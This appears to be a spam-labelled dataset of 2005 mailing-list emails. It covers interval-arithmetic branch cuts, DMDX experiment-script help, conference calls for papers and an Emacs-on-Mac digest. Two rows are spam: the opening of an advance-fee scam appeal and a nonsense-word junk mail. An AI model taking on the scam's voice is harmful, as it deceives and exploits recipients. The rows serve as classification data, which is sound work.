out a sort of helix, continually This is always the case when considering what essentially are multivalued functions. You have to implicitly or explicitly chose a branch and evaluate the function on this branch instead of its Riemann hypersurface. (What you are considering can be viewed as a fundamental function of one complex variable, namely arg.) (Note that you should declare explicitly which ""side"" the branch cut itself belongs to. Standard notation in the CAS community is ""counter clockwise continuous"", i.e., to have arg, ln, etc. be continuous when approaching the negative real axis from above.) Also note that the Riemann surface and its image may be much more complicated than for a simple arg. Have a look at the graph of the complex arcsine function at http://mathworld.wolfram.com/InverseSine.html and think about continuing the graph -- especially for the real part. > the ""top"") Rather than forcing that particular (somewhat arbitrary) > discontinuity, we could theoretically continue the helix downward and > map the points in quadrant IV to something less than -pi, and maintain > continuity between quadrants III and IV. It diverges from the usual You could, but that would violate inclusion monotonicity, which would for many applications be a really bad thing. And what would you do with ([-1,1], [-1,1])? Your argument above would suggest to return the real axis. There is another possibility of handling the admittedly arbitrary branch cut, namely to return the union of two intervals. The advantage of this approach is to significantly reduce overestimation; the disadvantage is that further up in the algorithms you may need to limit the number of intervals by explicitly enlarging selected ones to avoid an exponential explosion. Then again, often, you do not need to. > Does anyone have strong feelings on making an arctan implementation > work this way--that is, returning something beyond [-pi, pi]? It seems > quite a bit more elegant and gives tighter interval bounds to do so. As I said above: Inclusion monotonicity is something you should strongly consider supporting. It would be potentially disastrous to have a bisectioning algorithm and then not have arg(-1+[-1,-1,3]*I) subset arg(-1+[-1,1/2]*I). -- +--+ +--+| |+-|+ Christopher Creutzig (ccr@mupad.de) +--+ Tel.: 05251-60-5525",0,1 Annalisa Setti ,DMDX@psy1.psych.arizona.edu,"Mon, 20 Jun 2005 18:39:26 +0200",[DMDX] video card,"HI, thanks for the advice i solved my problem with the keyboard! I have to change Geforce card but the only one i found is the ati radeon 7000 which i don't see mentioned in the hardware requirements, if somebody has it or knows if it works i'd be grateful to have this advice as i'm going to buy it to work on dmdx Thank you very much again! Annalisa ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 20 Jun 2005 10:16:35 -0700",[DMDX] Re: video card,"At 06:39 PM 6/20/2005 +0200, you wrote: >HI, thanks for the advice i solved my problem with the keyboard! > >I have to change Geforce card but the only one i found is the ati radeon >7000 which i don't see mentioned in the hardware requirements, >if somebody has it or knows if it works i'd be grateful to have this >advice as i'm going to buy it to work on dmdx I've used the Radeon 7000 video cards before. They work, some driver versions are better than others but that's always true. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""The sooner you fall behind, the more time you'll have to catch up!"" ",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Mon, 20 Jun 2005 10:46:48 -0600",BISC: FIRST Call for Paper; BISCSE2005; FORGING THE FRONTIERS,"Dear Friends, Please notice that the abstract deadline has been extended to July 15. ------------- Begin Forwarded Message ------------- From: Nikravesh ********************************************************************* Berkeley Initiative in Soft Computing (BISC) ********************************************************************* BISCSE 2005 FORGING THE FRONTIERS 40th of Fuzzy Pioneers Dedicated to: Prof. Lotfi A. Zadeh “Working together to better serve the global community” (2010, 2015, 2020, 2025, 2030, …) November 3-5 2005 University of California-Berkeley Berkeley, California, USA “Where Fuzzy Began” “The legacy of accomplishment, excellence and people who contribute to the advancement of computational intelligence through science and technology to better serve the global community” Abstract Deadlines: July 15 2005 Registration deadline: August 15th 2005 More Information: http://www-bisc.eecs.berkeley.edu/BISCSE2005 The 2005 BISC International Special Event-FLINT05 "" FORGING THE FRONTIERS"" will be held in the University of California, Berkeley, from November 3 -6. UC Berkeley “WHERE FUZZY LOGIC BEGAN” is a preeminent research institution in the proximity of Silicon Valley. The successful applications of fuzzy logic and it’s rapid growth suggest that the impact of fuzzy logic will be felt increasingly in coming years. Fuzzy Logic is likely to play an especially important role in science and engineering, but eventually its influence may extend much farther. In many ways, fuzzy logic represents a significant paradigm shift in the aims of computing - a shift which reflects the fact that the human mind, unlike present day computers, possesses a remarkable ability to store and process information which is pervasively imprecise, uncertain and lacking in categoricity. The BISC Program invites pioneer researchers from around the world who are interested in forging the frontiers by the use of fuzzy logic and soft computing methods. This special event will provide a unique opportunity for the academic and corporate communities to address new challenges, share solutions, and discuss research directions for the future. Technical topics of interest include but are not limited to: ============================================================== (Prefer Titles of papers to be presented or title of papers preferably include the followings Titles) Please note that the word ""Fuzzy, Fuzzy Logic, Fuzzy Set, or Soft Computing should be part of the ""Title"" of the paper. ------------------------------------------------------------------------------- ------------------------------------------ Fuzzy Set and Logic Management of Uncertainty in Expert Systems based on Fuzzy set and Logic Knowledge Discovery and Data Mining based on Fuzzy set and Logic Linguistic Variables and Fuzzy IF-Then Rules Approximate Reasoning based on Fuzzy set and Logic Knowledge Representation in Fuzzy Logic Fuzzy Expert System Fuzzy Decision Tree Fuzzy Risk Analysis Fuzzy Database Fuzzy Information Retrieval Fuzzy Logic and the Internet Semantic Web, Search Engine, and Q&A based on Fuzzy set and Logic Fuzzy Decision Analysis Fuzzy Cased-Based Reasoning Rule-Based Reasoning Uncertainty Management using Fuzzy set and Logic Fuzzy Probability Fuzzy Risk Assessment Intelligent Agents based on Fuzzy set and Logic Web Intelligence based on Fuzzy set and Logic Bio-Informatics based on Fuzzy set and Logic Fuzzy Logic and Medicine Soft Computing and Hybrid Systems Fuzzy Control and Robotics Industry and government Perspective Scientific Impact of Fuzzy Logic Fuzzy Logic Applications Bio-Informatics and Medicine (Healthcare);based on Fuzzy set and Logic IT and Recognition Technology (Digital Home and Homeland Security) based on Fuzzy set and Logic ------------- End Forwarded Message -------------",0,1 Jesse A Harris ,DMDX@psy1.psych.arizona.edu,"Mon, 20 Jun 2005 15:18:45 -0400",[DMDX] block randomization and self-paced reading,"Hi everyone, I am putting together a large self-paced moving time window study in DMDX, but am having some trouble with the block randomization. I’m worried that the items in the practice run are affecting the scrambling because after the practice, the experiment sometimes starts in the middle of a block in the middle of a sentence. Do I have the n, s, and g parameters correct? There are 5 blocks with 76 experiment items. Each item takes 17 DMDX item lines (including the 0 and 800 items) and each block is followed by a rest. I have 10 practice items that all have the same item number (7). I’ve set n=6460 (17*76*5) and g=1296 (17*76). Oddly, it seems to work with a smaller file, but with the same basic set up. Script is included below, much shortened. Thanks in advance for your help, Jesse ************************** Jesse Harris NYU Neurolinguistics Lab Department of Linguistics 719 Broadway, Room 447 New York, NY 10003 http://homepages.nyu.edu/~jh146/ ####################################################################### !Instructions begin; $ 0 ""These are the instructions."" ; . . . 0 ""Here is a short practice. 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"" * ; +231614 "" ==== ===== ====== ========= =========== === ======= === ======== == === ========= activist . "" * ; +231615 "" ??? "" * ; 800 /; 0 "" Ready?"" ; . . . !Block A ends; $ 0 “You may take a break.”; $ . . . !Block B; . . . !Block B ends; $ 0 “You may take a break.”; $ ! Block C begins; . . . ! etc. $ 0 “End.”; $ #######################################################################",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 20 Jun 2005 15:07:26 -0700",[DMDX] Re: block randomization and self-paced reading,"At 03:18 PM 6/20/2005 -0400, you wrote: >Hi everyone, > >I am putting together a large self-paced moving time window study in >DMDX, but am having some trouble with the block randomization. I'm >worried that the items in the practice run are affecting the scrambling >because after the practice, the experiment sometimes starts in the >middle of a block in the middle of a sentence. > >Do I have the n, s, and g parameters correct? No. Well N is ok but N doesn't matter. > There are 5 blocks with >76 experiment items. So S would be 76. > Each item takes 17 DMDX item lines So G would be 17, assuming you want those 17 items to not be moved with respect to each other. >(including the >0 and 800 items) and each block is followed by a rest. I have 10 >practice items that all have the same item number (7). I've set n=6460 >(17*76*5) and g=1296 (17*76). > >Oddly, it seems to work with a smaller file, but with the same basic >set up. Script is included below, much shortened. > >Thanks in advance for your help, >Jesse > >************************** >Jesse Harris >NYU Neurolinguistics Lab >Department of Linguistics >719 Broadway, Room 447 >New York, NY 10003 >http://homepages.nyu.edu/~jh146/ > > >####################################################################### > > >0> > >!Instructions begin; >$ >0 ""These are the instructions."" ; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""The sooner you fall behind, the more time you'll have to catch up!""",0,1 muhammed malik ,yrc4@columbia.edu,"Tue, 21 Jun 2005 03:38:04 +0200",PLEASE HELP ME OUT IN THE NAME OF GOD,"FROM: mohammed malik ADDRESS: Abidjan Cote D'ivoire West Africa ATTN GREETING!!! Dearest One, Good a thing to write you. I have a proposal for you,this however is not mandatory nor will I in any manner compel you to honour against your will. Your profile pushed me to send you this mail. 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My sincere regards, mohammed malik --------------------------------- Appel audio GRATUIT partout dans le monde avec le nouveau Yahoo! Messenger Téléchargez le ici !",1,0 Markus Damian ,DMDX@psy1.psych.arizona.edu,"Tue, 21 Jun 2005 11:54:03 +0100",[DMDX] deadline procedure,"Hi, I was wondering if someone could assist me with the following problem: I would like to set up an experiment in which a target stimulus is presented for a fixed amount of time, say, 2000 ms. At a fixed time interval into the trial, say 500 ms, I would like to have DMDX do the following: if there was a response prior to the 500 ms deadline, I want DMDX to do nothing, but if no response occurred by that time, I would like to play a sound, while still awaiting a response until the timeout. In other words, the feedback regarding whether or not participants responded within the deadline interval should occur *within* an ongoing trial. So far I haven't been able to find a solution to this problem. It is relatively straightforward to have DMDX perform a conditional branch *after* a response occurred, with the LastRT keyword in combination with a bicLE etc. statement. But here I would like to have the deadline sound presented only if *no* response was made by a certain time. One solution that I thought of was to schedule an event, at exactly 500 ms, that looks at LastRT, and performs a conditional branch. But to my knowledge LastRT contains the last RT collected within the experiment, so DMDX cannot distinguish between RTs collected on the current, and on the previous, trial. Is there a way to reset LastRT between trials? If I could set it to zero at the beginning of each trial, I could then at 500 ms state: if LastRT is not 0, then (a response must have occurred within the current trials, and therefore) do nothing, otherwise play the sound. Any help would be appreciated! Markus Markus Damian University of Bristol Department of Experimental Psychology 8 Woodland Road, 5D5 Bristol BS8 1TN United Kingdom ",0,0 Mr Volz ,reliable_computing-outgoing@interval.louisiana.edu,"Mon, 20 Jun 2005 22:11:58 -0800",Let us help you find the lowest rate,"on berg may thrust or ceramium and despond it papyrus ",1,0 Jesse A Harris ,DMDX@psy1.psych.arizona.edu,"Tue, 21 Jun 2005 10:02:20 -0400",[DMDX] Re: block randomization and self-paced reading,"I've tried s=76 and n=17, but unfortunately, it doesn't seem to work. After the practice, the stimulus still starts in the middle of a sentence. If possible, I'd like to keep the block as a whole, so that the 1292 lines in a block remain as one unit (so g=1292). Any suggestions? Thanks again! Jesse ************************** Jesse Harris NYU Neurolinguistics Lab Department of Linguistics 719 Broadway, Room 447 New York, NY 10003 http://homepages.nyu.edu/~jh146/ ----- Original Message ----- From: ""Jonathan C. Forster"" Date: Monday, June 20, 2005 6:07 pm Subject: [DMDX] Re: block randomization and self-paced reading > At 03:18 PM 6/20/2005 -0400, you wrote: > >Hi everyone, > > > >I am putting together a large self-paced moving time window study in > >DMDX, but am having some trouble with the block randomization. I'm > >worried that the items in the practice run are affecting the > scrambling>because after the practice, the experiment sometimes > starts in the > >middle of a block in the middle of a sentence. > > > >Do I have the n, s, and g parameters correct? > > No. Well N is ok but N doesn't matter. > > > There are 5 blocks with > >76 experiment items. > > So S would be 76. > > > Each item takes 17 DMDX item lines > > So G would be 17, assuming you want those 17 items to not be > moved with > respect to each other. > > >(including the > >0 and 800 items) and each block is followed by a rest. I have 10 > >practice items that all have the same item number (7). I've set > n=6460>(17*76*5) and g=1296 (17*76). > > > >Oddly, it seems to work with a smaller file, but with the same basic > >set up. Script is included below, much shortened. > > > >Thanks in advance for your help, > >Jesse > > > >************************** > >Jesse Harris > >NYU Neurolinguistics Lab > >Department of Linguistics > >719 Broadway, Room 447 > >New York, NY 10003 > >http://homepages.nyu.edu/~jh146/ > > > > > >####################################################################### > > > > > > >0> > > > >!Instructions begin; > >$ > >0 ""These are the instructions."" ; > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""The sooner you fall behind, the more time you'll have to catch up!"" > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 21 Jun 2005 08:14:42 -0700",[DMDX] Re: deadline procedure,"At 11:54 AM 6/21/2005 +0100, you wrote: >Hi, > >I was wondering if someone could assist me with the following problem: I >would like to set up an experiment in which a target stimulus is presented >for a fixed amount of time, say, 2000 ms. At a fixed time interval into >the trial, say 500 ms, I would like to have DMDX do the following: if >there was a response prior to the 500 ms deadline, I want DMDX to do >nothing, but if no response occurred by that time, I would like to play a >sound, while still awaiting a response until the timeout. In other words, >the feedback regarding whether or not participants responded within the >deadline interval should occur *within* an ongoing trial. Can't happen. >So far I haven't been able to find a solution to this problem. It is >relatively straightforward to have DMDX perform a conditional branch >*after* a response occurred, with the LastRT keyword in combination with a >bicLE etc. statement. But here I would like to have the deadline sound >presented only if *no* response was made by a certain time. One solution >that I thought of was to schedule an event, at exactly 500 ms, that looks >at LastRT, and performs a conditional branch. But to my knowledge LastRT >contains the last RT collected within the experiment, so DMDX cannot >distinguish between RTs collected on the current, and on the previous, >trial. Is there a way to reset LastRT between trials? If I could set it to >zero at the beginning of each trial, I could then at 500 ms state: if >LastRT is not 0, then (a response must have occurred within the current >trials, and therefore) do nothing, otherwise play the sound. It wouldn't help you in any event as conditionals are all evaluated at item parse time, ie, before any display. The best you can do is to have a really low Delay parameter and break your item into multiple items instead and live with a couple of ticks between items where if a response occurred it wouldn't register. I've toyed with the idea of buffering input data across items for this sort of purpose but have yet to see a real need for it here (ie you're into sponsorship territory). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #48. The red flshing beacon atop a firetruck is called a mars light. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 21 Jun 2005 08:16:14 -0700",[DMDX] Re: block randomization and self-paced reading,"At 10:02 AM 6/21/2005 -0400, you wrote: >I've tried s=76 and n=17, but unfortunately, it doesn't seem to work. >After the practice, the stimulus still starts in the middle of a >sentence. If possible, I'd like to keep the block as a whole, so that >the 1292 lines in a block remain as one unit (so g=1292). Any >suggestions? You'll need to look at scrambled.itm and see what it is that scramble is doing that isn't what you want. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #48. The red flshing beacon atop a firetruck is called a mars light. ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Tue, 21 Jun 2005 09:53:34 -0700",[DMDX] RE: deadline procedure,"Markus, I've always argued that there must be a way to meet any presentation requirement with DMDX, but this one is certainly difficult. You might try something like the following. Perhaps this is what Jonathan had in mind. The text displays are just to indicate what happened. If you wanted feedback to item 2, you'd have to include your own branching code. +1 * ""target"" ; +2 ""skid""/ * ""target""; 0 ; 100 ""response received prior to 500 ms""; 200 ""End of item""; Hope this helps, --Ken > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX- > owner@psy1.psych.arizona.edu] On Behalf Of Markus Damian > Sent: Tuesday, June 21, 2005 3:54 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] deadline procedure > > Hi, > > I was wondering if someone could assist me with the following problem: I > would like to set up an experiment in which a target stimulus is > presented for a fixed amount of time, say, 2000 ms. At a fixed time > interval into the trial, say 500 ms, I would like to have DMDX do the > following: if there was a response prior to the 500 ms deadline, I want > DMDX to do nothing, but if no response occurred by that time, I would > like to play a sound, while still awaiting a response until the timeout. > In other words, the feedback regarding whether or not participants > responded within the deadline interval should occur *within* an ongoing > trial. > > So far I haven't been able to find a solution to this problem. It is > relatively straightforward to have DMDX perform a conditional branch > *after* a response occurred, with the LastRT keyword in combination with > a bicLE etc. statement. But here I would like to have the deadline sound > presented only if *no* response was made by a certain time. One solution > that I thought of was to schedule an event, at exactly 500 ms, that > looks at LastRT, and performs a conditional branch. But to my knowledge > LastRT contains the last RT collected within the experiment, so DMDX > cannot distinguish between RTs collected on the current, and on the > previous, trial. Is there a way to reset LastRT between trials? If I > could set it to zero at the beginning of each trial, I could then at 500 > ms state: if LastRT is not 0, then (a response must have occurred within > the current trials, and therefore) do nothing, otherwise play the sound. > > Any help would be appreciated! > > Markus > > > Markus Damian > University of Bristol > Department of Experimental Psychology > 8 Woodland Road, 5D5 > Bristol BS8 1TN > United Kingdom > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Tue, 21 Jun 2005 09:35:20 -0600",workshop on constraints: deadline extended,"Forwarding; this may be of interest to interval researchers. ************************************************************* From: Martine Ceberio ----------------------------------------------- Apologies if you receive multiple copies ----------------------------------------------- CALL FOR PAPER: 1st International Workshop on: Distributed and Speculative Constraint Processing --- DSCP'05 --- http://www.cs.utep.edu/mceberio/Research/Conferences/DSCP05/ held in conjunction with: the 11th International Conference on Principles and Practice of Constraint Programming, CP'2005 October 1 - 5, 2005 Melia Sitges Hotel Sitges (Barcelona) - Spain !!! EXTENDED DEADLINE: JUNE 29TH !!! ------------------------------------------------ Overview: DSCP'05 addresses constraint processing techniques in distributed environments, with a special interest on speculative computations. A distributed constraint satisfaction problem (usually referred to as DisCSP) is a constraint satisfaction problem (CSP) in which multiple agents are involved. DisCSPs arise when pieces of the whole problem can be discharged / allocated to agents. These agents are generally independent (autonomous), but able to communicate, basically to let the others know (depending on the communication protocol) the result of their inner solving process. Pieces of the global problem may be, depending on the problem, variables, or constraints, or both. Many problems in Multi-Agent Systems (MAS) can be formalized as DisCSPs. Therefore, we expect this workshop to impact a wide range of people, more specifically a lot of people involved in both CSP and MAS, or in either of these. Multi-agent systems are indeed very fashionable and convenient, for they make it possible, for instance, to take advantage of multi-processor machines, and for they also make it possible to design human-like efficient organizations of agents. In addition to work on plain DisCSP, our workshop aims at emphasizing the process of speculative computations among agents. Indeed, even if multi-agent systems are very fashionable and convenient, their main limitation is that, as arises in human organizations, communication may be an issue: delayed or broken, it leads to incompleteness of the information in the reasoning structure. This is a concrete concern when we consider distributed systems such as the Internet, in which communication is indeed not guaranteed, and even if we could guarantee it, communication may either take time, or agents themselves may delay their sending information. In the case of such not ideal but practical situations, when problem-solving is at stake, frameworks for speculative computations can constitute a solution. Some work was already carried out on speculative constraint processing, but only in master-slave systems. ----------------------------------------------- Scope of DSCP: In this workshop, we would be pleased to gather together researchers interested in all aspects of distributed and/or speculative constraint solving, such as: * frameworks for DisCSPs * algorithms * communication protocols in DisCSPs * theoretical issues, such as space complexity * handling over-constrained DisCSPs, as well as performing optimization using DisCSPs * applications of DisCSPs * frameworks for speculative computations in MAS * theoretical work on communication protocols for speculative computation in MAS * algorithms for DisCSP solving with speculative computation * applications * ... We encourage in particular the submission of work in progress, of work on very specialized aspects of distributed and/or speculative constraint processing, and of work emphasizing real applications of DSCP. ------------------------------------------------ Submission: Prospective attendees can submit a paper, which can be up to 15 pages in length. Authors will submit their papers electronically in postscript or pdf format. Papers should be formatted using the Lecture Notes in Computer Science (LNCS) style. Please send your submissions by email to mceberio@cs.utep.edu, with DSCP'05 Workshop Submission, as the subject of the email. ------------------------------------------------- Important note: The workshop is open to the entire community. All participants will have to pay the registration fee that entitles them to participate in all CP/ICLP workshops, and at least one author of each accepted paper must attend the workshop. ------------------------------------------------ Important dates: * Paper Submission deadline June 29th * Notification of acceptance July 20th * Deadline for early registration August, 1st * Camera-ready version deadline August, 10th * Workshop Date October, 1st ----------------------------------------------- Organizing committee: * Martine Ceberio (Primary contact) University of Texas at El Paso - USA e-mail: mceberio@cs.utep.edu url: http://www.cs.utep.edu/mceberio * Makoto Yokoo Kyushu University -- Fukuoka -- Japan e-mail: yokoo@is.kyushu-u.ac.jp * Enrico Pontelli New Mexico State University -- USA e-mail: epontell@cs.nmsu.edu * Boi Faltings EPFL -- Swiss Federal Institute of Technology -- Switzerland e-mail: Boi.Faltings@epfl.ch * Weixiong Zhang Washington University -- St. Louis -- USA e-mail: zhang@cse.wustl.edu * Hiroshi Hosobe National Institute of Informatics -- Tokyo -- Japan e-mail: hosobe@nii.ac.jp * Jay Modi Carnegie Mellon University -- Pittsburg -- USA e-mail: pmodi@cs.cmu.edu ------------------------------------------------",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 21 Jun 2005 12:32:59 -0700",[DMDX] Re: RE: deadline procedure,"At 09:53 AM 6/21/2005 -0700, you wrote: >Markus, > > I've always argued that there must be a way to meet any presentation >requirement with DMDX, but this one is certainly difficult. Decisions while gathering data just aren't in DMDX capabilities. > You might try something like the following. Perhaps this is what >Jonathan had in mind. It is. > The text displays are just to indicate what happened. >If you wanted feedback to item 2, you'd have to include your own branching >code. > > >+1 * ""target"" ; >+2 ""skid""/ * ""target""; >0 ; >100 ""response received prior to 500 ms""; >200 ""End of item""; Only other thing to try is to use the . You'll only be able to have one response key and you'd have it set as both the positive response and the . Your item would have to play a wave file at it's commencement that has 500ms of silence followed by your tone. If they respond then hopefully the response code will see the response and the abort item code will stop playing the wave file (hopefully because I've yet to test responses being abort keys as well). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""The sooner you fall behind, the more time you'll have to catch up!""",0,0 Emacs on Mac OS X ,Emacs on Mac OS X ,"Tue, 21 Jun 2005 20:00:13 -0400",Mac OS X-Emacs Digest #127 - 06/21/05,"Mac OS X-Emacs Digest #127 - Tuesday, June 21, 2005 path and other minor problems with Enhanced Carbon Emacs (Mac OS X.3) by ""Pierre Albarede"" Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs by ""Peter Dyballa"" Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs by ""Pierre Albarede"" Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs by ""David Reitter"" Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs by ""Pierre Albarede"" Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs by ""Peter Dyballa"" Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs by ""David Reitter"" ---------------------------------------------------------------------- Subject: path and other minor problems with Enhanced Carbon Emacs (Mac OS X.3) From: ""Pierre Albarede"" Date: Tue, 21 Jun 2005 11:02:52 +0200 Hi, as a new subscriber to this list, I first feel obliged to thank all the people who work at making emacs availalble on the mac. 1-In order to make Enhanced Carbon Emacs work as the emacs command in a shell, I had to replace, in Emacs.app/Contents/Resources/site-lisp/environment.plist, /Applications/Emacs.app/Contents/MacOS/bin by /Applications/Emacs.app/Contents/Resources/site-lisp (before running set-environment). Has anybody noticed this before? Or did I miss something? 2-From Franconi's readme.txt : > - If the provided dot-emacs.el is copied in your personal ~/.emacs > file, auto-magically the emacs bundled with MacOS X (in /usr/bin) > and the fink installed emacs (in /sw/bin) will become enhanced as > well. Running /usr/bin/emacs in a shell, with Franconi's dot-emacs.el as .emacs, yields Error in init file: File error: ""Cannot open load file"", ""/Applications/Emacs.app/Content\\ s/Resources/share/emacs/site-lisp/site-start.el Again, this is a path problem. I tried replacing, in .emacs, (load-local-site-start ""/Applications/Emacs.app/Contents/Resources/share/emacs/site-lisp"")) by (load-local-site-start ""/Applications/Emacs.app/Contents/Resources/site-lisp""). Something gets loaded, yet /usr/bin/emacs is not enhanced. Why? These are not serious bugs, but I would really like to understand what is going on. Thanks. Pierre Albarede http://pierre.albarede.free.fr -------------------------------------------------------------- International Mathematica Symposium Avignon 2006, June 19-23, http://ims06.org -------------------------------------------------------------- ---------------------------------------------------------------------- Subject: Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs (Mac OS X.3) From: ""Peter Dyballa"" Date: Tue, 21 Jun 2005 12:26:21 +0200 Am 21.06.2005 um 11:02 schrieb Pierre Albarede: > Hi, > > as a new subscriber to this list, I first feel obliged to thank all > the people who work at making emacs availalble on the mac. > > 1-In order to make Enhanced Carbon Emacs work as the emacs command in > a shell, I had to replace, in > Emacs.app/Contents/Resources/site-lisp/environment.plist, > /Applications/Emacs.app/Contents/MacOS/bin > by > /Applications/Emacs.app/Contents/Resources/site-lisp > (before running set-environment). > > Has anybody noticed this before? Or did I miss something? Yes, that's true. The shell script /Applications/Enhanced Carbon Emacs.app/Contents/Resources/site-lisp/emacs had to be put into into another directory than /Applications/Enhanced Carbon Emacs.app/Contents/MacOS/bin because this one already has the emacs application programme, that's not 'relocated' correctly and hardly ever works. I chose to use the script directly when I needed to install AUCTeX or preview-latex etc. When did you find you had to invent this clever idea? And yes: you did miss something! Recently there are better Carbon Emacsen around, from 2005, that might provide better results. Aquamacs (http://prdownloads.sourceforge.net/aquamacs/Aquamacs-Emacs -0.9.2b8.dmg?download, http://aquamacs.org/) gets enhanced into another direction: being better integrated into the Aqua look&feel. And it's supported by its developers here in this list. You still have to use the work of others to have AUCTeX and friends installed: http://yaced.sourceforge.net/. Norm Gall has Yet Another Carbon Emacs Distribution packaged ... > > 2-From Franconi's readme.txt : > >> - If the provided dot-emacs.el is copied in your personal ~/.emacs >> file, auto-magically the emacs bundled with MacOS X (in /usr/bin) >> and the fink installed emacs (in /sw/bin) will become enhanced as >> well. > > Running /usr/bin/emacs in a shell, with Franconi's dot-emacs.el as > .emacs, yields > Error in init file: File error: ""Cannot open load file"", > ""/Applications/Emacs.app/Content\\ > s/Resources/share/emacs/site-lisp/site-start.el > > Again, this is a path problem. I tried replacing, in .emacs, > (load-local-site-start > ""/Applications/Emacs.app/Contents/Resources/share/emacs/site-lisp"")) > by > (load-local-site-start > ""/Applications/Emacs.app/Contents/Resources/site-lisp""). > > Something gets loaded, yet /usr/bin/emacs is not enhanced. Why? /usr/bin/emacs is a very old programme that Apple included into Mac OS X. Check its version! It's 21.2! I support with my .emacs file different Emacsen in different environments. So I added (defconst mWS (symbol-value 'window-system) ""Running as some windowing system's client, or as slave of a terminal emulator?"") and use this variable later: (cond ((string= ""nil"" mWS) (message ""Sind im Terminal"") (load ""~/.emacs_nil"") )) ; Ende Terminal So I have (external) sections to setup Emacs. You could put Enrico Franconi's .emacs code, at least some parts, into such a clause, comparing mWS with ""mac"", the window-system in which Carbon Emacs runs. (Others are x11 or windows.) -- Greetings Pete “One cannot live by television, video games, top ten CDs, and dumb movies alone” (Amiri Baraka 1999) ---------------------------------------------------------------------- Subject: Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs (Mac OS X.3) From: ""Pierre Albarede"" Date: Tue, 21 Jun 2005 15:34:37 +0200 Hi Peter Dyballa > And yes: you did miss something! Recently there are better Carbon > Emacsen around, from 2005, that might provide better results. Aquamacs > (http://prdownloads.sourceforge.net/aquamacs/Aquamacs-Emacs > -0.9.2b8.dmg?download, http://aquamacs.org/) Thanks. It looks good indeed. However, the meta key is not bound to command, and I cannot type ~ (tilda) (I get empty set instead). For the moment, Enhanced Carbon Emacs is OK for me. ---------------------------------------------------------------------- Subject: Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs (Mac OS X.3) From: ""David Reitter"" Date: Tue, 21 Jun 2005 14:41:33 +0100 On 21 Jun 2005, at 14:34, Pierre Albarede wrote: > > It looks good indeed. However, the meta key is not bound to > command, and I cannot type ~ (tilda) (I get empty set instead). For > the moment, Enhanced Carbon Emacs is OK for me. You can bind meta to the option key (see item in Options menu), or set Command to meta in .emacs (see the Aquamacs wiki -- from Help menu). For ~: what keys do you need to press for this? What kind of keyboard? - Dave ---------------------------------------------------------------------- Subject: Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs (Mac OS X.3) From: ""Pierre Albarede"" Date: Tue, 21 Jun 2005 15:57:37 +0200 > For ~: what keys do you need to press for this? What kind of keyboard? > > - Dave I usually press alt (aka option) n space. This is a French keyboard. ---------------------------------------------------------------------- Subject: Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs (Mac OS X.3) From: ""Peter Dyballa"" Date: Tue, 21 Jun 2005 16:21:52 +0200 Am 21.06.2005 um 15:57 schrieb Pierre Albarede: > I usually press alt (aka option) n space. > This is a French keyboard. > That's as in German. I have this ""customization"" active for Aquamacs: (setq mac-pass-option-to-system t) (setq mac-command-key-is-meta t) (setq mac-option-modifier nil) (setq mac-command-modifier nil) (setq mac-control-modifier nil) (setq one-buffer-one-frame nil) (setq mac-allow-anti-aliasing nil) (setq mac-transparency-alpha 80) With this the Alt key just alternates the keyboard layout, i.e. you get ~, €, @ ... It makes Aquamacs not to communicate with Aqua, i.e. there is no way to exchange selections with other tools and applications. -- Greetings Pete Windows, c'est un peu comme le beaujolais nouveau: à chaque nouvelle cuvée on sait que ce sera dégueulasse, mais on en prend quand même, par masochisme. ---------------------------------------------------------------------- Subject: Re: [OS X Emacs] path and other minor problems with Enhanced Carbon Emacs (Mac OS X.3) From: ""David Reitter"" Date: Tue, 21 Jun 2005 15:51:17 +0100 Ok, I can confirm there's still (or again) a bug regarding composed characters (deadkeys). It'll be fixed - thanks Pierre for reporting. > > With this the Alt key just alternates the keyboard layout, i.e. you > get ~, €, @ ... It makes Aquamacs not to communicate with Aqua, > i.e. there is no way to exchange selections with other tools and > applications. Well, Command-C/X/V don't work any more of course because you've bound Meta to Command. You can still use Copy/Cut/Paste in the Edit menu to exchange data. - Dave ---------------------------------------------------------------------- End of Mac OS X-Emacs Digest ------------------------------- Info -------------------------------- List Post: List 